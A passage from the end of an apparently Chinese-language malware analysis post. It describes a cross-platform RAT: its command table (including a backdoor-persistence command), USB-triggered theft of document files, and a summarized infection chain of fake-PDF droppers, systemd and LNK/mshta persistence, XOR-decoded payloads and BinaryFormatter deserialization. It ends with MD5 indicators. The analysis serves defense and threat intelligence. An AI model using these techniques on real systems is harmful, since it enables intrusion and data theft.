0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">带参数执行文件</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">Execute|文件路径|参数|工作目录|显示方式|其他参数</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">调用executefile()</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">addSys</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">msg.StartsWith(&#34;addSys&#34;)</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">创建持久化后门</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">addSys|类型|文件名|压缩数据</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">发送执行结果</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">fileupload</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">msg.StartsWith(&#34;fileupload&#34;)</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">上传文件到受感染主机</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">fileupload|保存路径</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">写入文件到指定路径</span></p></td></tr></tbody></table></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">DoUSBWork()函数</span></strong><span leaf="">会通过 WMI 在 root\CIMV2 里轮询监听 Win32_USBHub 的创建/删除事件来捕获 USB 插拔，并用一个永不退出的忙循环让线程常驻</span></p></div><p style="text-align: center;"><img class="rich_pages wxw-img" data-imgfileid="100030292" data-ratio="0.45307443365695793" data-s="300,640" data-type="png" data-w="618" type="block" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=8495486c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSITy8DJoRDG7wBujSfm1pfgtIbbSzfBf9nllFx8H8RicWFj0qI6xo93tguodltib3Bnk7o0Pcf1Jvg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: black;letter-spacing: 0px;background-color: rgb(255, 255, 255);line-height: 1.6;word-break: break-word;text-align: left;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">USB 插入后，会同步扫描所有可移动盘，把根目录及子目录中指定扩展名的文件批量复制到 C:\ProgramData\SDS\ 做本地收集，收集的文件扩展名如下：</span></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">Office：xls、xlsx、doc、docx、ppt、pptx</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">txt、pdf</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">Access：mdb、accdb</span></p></li></ul></div><p style="text-align: center;"><img class="rich_pages wxw-img" data-imgfileid="100030293" data-ratio="0.45307443365695793" data-s="300,640" data-type="png" data-w="618" type="block" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=8495486c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSITy8DJoRDG7wBujSfm1pfgtIbbSzfBf9nllFx8H8RicWFj0qI6xo93tguodltib3Bnk7o0Pcf1Jvg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: black;letter-spacing: 0px;background-color: rgb(255, 255, 255);line-height: 1.6;word-break: break-word;text-align: left;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">总结</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">最后使用LLM进行总结，总结如下：</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这批样本体现出一条“跨平台钓鱼投递 → 伪装诱饵 → 持久化 → 远控执行/数据收集”的完整链路：Linux 侧以伪装 PDF 的 ELF32 落地器创建隐藏目录、下载 gkt3.1/gkt3.sh 与诱饵 PDF，利用 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">user-level systemd</span></strong><span leaf=""> 服务实现自启动并运行 PyInstaller 打包的 RAT；Windows 侧则用 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">LNK→mshta→HTA</span></strong><span leaf=""> 的经典链条，结合自定义 Base64 + 固定 XOR 解密把载荷解到 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">MemoryStream</span></strong><span leaf="">，再通过 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">BinaryFormatter 反序列化</span></strong><span leaf=""> 执行（先用 AXML 打开 DisableActivitySurrogateSelectorTypeCheck 为后续链路“松绑”，再落地/加载 DLL），并按安全软件产品分支选择不同的持久化方式（Run 键、Startup、LNK、bat/cmd、强制 32 位 mshta）。最终 DLL 内部实现了较完整的 RAT 能力：固定密钥的 AES-ECB 通信、主机指纹上线、命令分发（进程管理、远程桌面截图、文件管理、剪贴板/hosts 操作、shell 执行、上传下载、执行落地文件等），同时还监听 USB 插拔并批量收集特定文档类型到 C:\ProgramData\SDS\ 做本地收集，诱饵 PDF 用于掩护用户感知。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Windows 版 RAT </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">明显仍在开发中，存在不少 BUG</span></strong><span leaf="">：例如 FullRead() 里出现重复 Read()、线程模型“看似并发但大量 Join 阻塞”、USB 线程用 goto 的忙循环导致高占用风险、screenshot() 依赖 ImageGrab 却未显式导入/缺库即崩、Passwords 功能直接返回“Win11 不支持换 HTA”的占位提示、异常几乎全吞导致稳定性与可观测性都很差；再加上硬编码密钥/ECB 模式、HTTP 明文接口、拼写错误诱饵文件名等“未打磨”迹象，都表明Windows版本的RAT仍然处于持续迭代阶段，部分规划的功能尚未实现，新引入的功能尚未经过充分测试。</span></p><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">IOCs</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">813b69e1ffeb70cdd5a63a8103a896d3</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">c345c4a04df2d324f594e2ae9040daf8</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">75245a9be77dc6014e079cf249a98ab3</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">24e010830cbb42384bf609f8acf91c46</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">1426bdff1ef4466c37631a51c2ba6e48</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">180c88e45db8a2bcc095f32ca71ab8f6</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">403ea69b8b75e16a644d12053eb2659a</span></p><p data-tool="mdnice编辑器" style="color: 